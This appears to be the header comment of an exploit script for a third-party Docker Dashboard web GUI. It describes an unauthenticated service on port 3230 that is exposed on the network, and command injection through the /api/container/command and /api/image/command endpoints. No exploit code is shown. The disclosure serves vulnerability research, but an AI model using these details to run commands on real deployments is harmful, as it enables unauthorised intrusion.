# Docker Dashboard Remote Command Execution Exploit

#
# "A simple web based GUI for managing Docker containers and images"
#
# Note: this app is NOT part of the official docker product, nor related to the
# Docker Dashboard UI in Docker Desktop. They are different projects and maintainers.
#
# More info: https://dockerdashboard.github.io
#
# -------
# Details
# -------
#
# The web GUI runs on port 3230. There are two main issues that enable the RCE...
#
# 1) Although when starting the server it says go to http://localhost:3230, it's
# actually listening on the network interface by default. There is no auth
# so anyone with access can start exercising functionality of the app.
#
# 2) Normally these controllers are used to start, stop or create new containers.
# But no validation of parameters or filtering based on acceptable commands sent
# sent to docker on the backend enables clean, vanilla command injection as the
# running user. Many of the APIs are vulnerable, with the most notables ones
# being /api/container/command and /api/image/command.
